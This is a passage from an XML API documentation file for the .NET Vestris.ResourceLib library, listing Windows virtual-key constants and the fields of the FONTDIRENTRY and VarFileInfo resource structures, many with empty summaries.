name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.ALT\">\n            <summary>\n            Causes the accelerator to be activated only if the ALT key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.VirtualKeys\">\n            <summary>\n            Virtual key definitions.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LBUTTON\">\n            <summary>\n            Standard virtual left mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RBUTTON\">\n            <summary>\n            Standard virtual right mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CANCEL\">\n            <summary>\n            Ctrl-Break / Ctrl-C.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MBUTTON\">\n            <summary>\n            Standard virtual middle mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_XBUTTON1\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_XBUTTON2\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BACK\">\n            <summary>\n            Backspace.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_TAB\">\n            <summary>\n            Tab.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CLEAR\">\n            <summary>\n            Delete.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RETURN\">\n            <summary>\n            Return.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SHIFT\">\n            <summary>\n            Shift.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CONTROL\">\n            <summary>\n            Control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MENU\">\n            <summary>\n            Menu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PAUSE\">\n            <summary>\n            Pause.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CAPITAL\">\n            <summary>\n            Caps lock.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_KANA\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_JUNJA\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_FINAL\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_KANJI\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ESCAPE\">\n            <summary>\n            Escape.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CONVERT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NONCONVERT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ACCEPT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MODECHANGE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SPACE\">\n            <summary>\n            Space.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PRIOR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NEXT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_END\">\n            <summary>\n            End.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_HOME\">\n            <summary>\n            Home.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LEFT\">\n            <summary>\n            Left arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_UP\">\n            <summary>\n            Up arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RIGHT\">\n            <summary>\n            Right arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DOWN\">\n            <summary>\n            Down arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SELECT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PRINT\">\n            <summary>\n            Print Screen.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EXECUTE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SNAPSHOT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_INSERT\">\n            <summary>\n            Insert.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DELETE\">\n            <summary>\n            Delete.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_HELP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LWIN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RWIN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_APPS\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SLEEP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD0\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD4\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD5\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD6\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD7\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD9\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MULTIPLY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ADD\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SEPARATOR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SUBTRACT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DECIMAL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DIVIDE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F4\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F5\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F6\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F7\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F9\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F10\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F11\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F12\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F13\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F14\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F15\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F16\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F17\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F18\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F19\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F20\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F21\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F22\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F23\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F24\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMLOCK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SCROLL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_NEC_EQUAL\">\n            <summary>\n            NEC PC-9800 keyboard '=' key on numpad.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_JISHO\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Dictionary' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_MASSHOU\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Unregister word' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_TOUROKU\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Register word' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_LOYA\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Left OYAYUBI' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_ROYA\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Right OYAYUBI' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LSHIFT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RSHIFT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LCONTROL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RCONTROL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LMENU\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RMENU\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_BACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_FORWARD\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_REFRESH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_STOP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_SEARCH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_FAVORITES\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_HOME\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_MUTE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_DOWN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_UP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_NEXT_TRACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_PREV_TRACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_STOP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_PLAY_PAUSE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_MAIL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_MEDIA_SELECT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_APP1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_APP2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_1\">\n            <summary>\n            ';:' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PLUS\">\n            <summary>\n            '+' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_COMMA\">\n            <summary>\n            ',' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_MINUS\">\n            <summary>\n            '-' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PERIOD\">\n            <summary>\n            '.' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_2\">\n            <summary>\n            '/?' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_3\">\n            <summary>\n            '`~' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_4\">\n            <summary>\n            '[{' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_5\">\n            <summary>\n            '\\|' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_6\">\n            <summary>\n            ']}' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_7\">\n            <summary>\n            ''\"' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_AX\">\n            <summary>\n            'AX' key on Japanese AX kbd\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_102\">\n            <summary>\n            \"&lt;&gt;\" or \"\\|\" on RT 102-key kbd.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_HELP\">\n            <summary>\n            Help key on ICO\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_00\">\n            <summary>\n            00 key on ICO\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PROCESSKEY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_CLEAR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PACKET\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_RESET\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_JUMP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_WSCTRL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_CUSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_ATTN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FINISH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_COPY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_AUTO\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_ENLW\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_BACKTAB\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ATTN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CRSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EXSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EREOF\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PLAY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ZOOM\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NONAME\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PA1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_CLEAR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.FONTDIRENTRY\">\n            <summary>\n            Contains information about an individual font in a font resource group. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfVersion\">\n            <summary>\n            Specifies a user-defined version number for the resource data that tools can \n            use to read and write resource files. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfSize\">\n            <summary>\n            Specifies the size of the file, in bytes. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfCopyright\">\n            <summary>\n            Contains a 60-character string with the font supplier's copyright information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfType\">\n            <summary>\n            Specifies the type of font file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPoints\">\n            <summary>\n            Specifies the point size at which this character set looks best. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfVertRes\">\n            <summary>\n            Specifies the vertical resolution, in dots per inch, at which this character set was digitized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfHorizRes\">\n            <summary>\n            Specifies the horizontal resolution, in dots per inch, at which this character set was digitized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfAscent\">\n            <summary>\n            Specifies the distance from the top of a character definition cell to the baseline of the \n            typographical font. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfInternalLeading\">\n            <summary>\n            Specifies the amount of leading inside the bounds set by the dfPixHeight member. Accent marks and \n            other diacritical characters can occur in this area. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfExternalLeading\">\n            <summary>\n            Specifies the amount of extra leading that the application adds between rows. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfItalic\">\n            <summary>\n            Specifies an italic font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfUnderline\">\n            <summary>\n            Specifies an underlined font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfStrikeOut\">\n            <summary>\n            Specifies a strikeout font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfWeight\">\n            <summary>\n            Specifies the weight of the font in the range 0 through 1000. For example, 400 is roman and \n            700 is bold. If this value is zero, a default weight is used.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfCharSet\">\n            <summary>\n            Specifies the character set of the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPixWidth\">\n            <summary>\n            Specifies the width of the grid on which a vector font was digitized. For raster fonts, \n            if the member is not equal to zero, it represents the width for all the characters in the \n            bitmap. If the member is equal to zero, the font has variable-width characters. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPixHeight\">\n            <summary>\n            Specifies the height of the character bitmap for raster fonts or the height of the grid \n            on which a vector font was digitized. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPitchAndFamily\">\n            <summary>\n            Specifies the pitch and the family of the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfAvgWidth\">\n            <summary>\n            Specifies the average width of characters in the font (generally defined as the width of \n            the letter x). This value does not include the overhang required for bold or italic characters. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfMaxWidth\">\n            <summary>\n            Specifies the width of the widest character in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfFirstChar\">\n            <summary>\n            Specifies the first character code defined in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfLastChar\">\n            <summary>\n            Specifies the last character code defined in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfDefaultChar\">\n            <summary>\n            Specifies the character to substitute for characters not in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfBreakChar\">\n            <summary>\n            Specifies the character that will be used to define word breaks for text justification.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfWidthBytes\">\n            <summary>\n            Specifies the number of bytes in each row of the bitmap. This value is always even so \n            that the rows start on word boundaries. For vector fonts, this member has no meaning. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfDevice\">\n            <summary>\n            Specifies the offset in the file to a null-terminated string that specifies a device name. \n            For a generic font, this value is zero. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfFace\">\n            <summary>\n            Specifies the offset in the file to a null-terminated string that names the typeface. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfReserved\">\n            <summary>\n            This member is reserved.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VarFileInfo\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. \n            It contains version information not dependent on a particular language and code page combination.\n            http://msdn.microsoft.com/en-us/library/aa909193.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Vars\">\n            <summary>\n            A hardware independent dictionary of language and code page identifier tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.#ctor\">\n            <summary>\n            A new hardware independent dictionary of language and code page identifier tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.#ctor(System.IntPtr)\">\n            <summary>\n            An existing hardware independent dictionary of language and code page identifier tables.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read a hardware independent dictionary of language and code page identifier tables.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of data.</param>\n            <returns>Pointer to the end of data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the hardware independent dictionary of language and code page identifier tables to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Default\">\n            <summary>\n            The default language and code page identifier table.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Item(System.UInt16)\">\n            <summary>\n            Returns a language and code page identifier table.\n            </summary>\n            <param name=\"language\">Language ID.</param>\n            <returns>A language and code page identifier table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.ToString(System.Int32)\">\n            <summary>\n            String representation of VarFileInfo.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String in the VarFileInfo 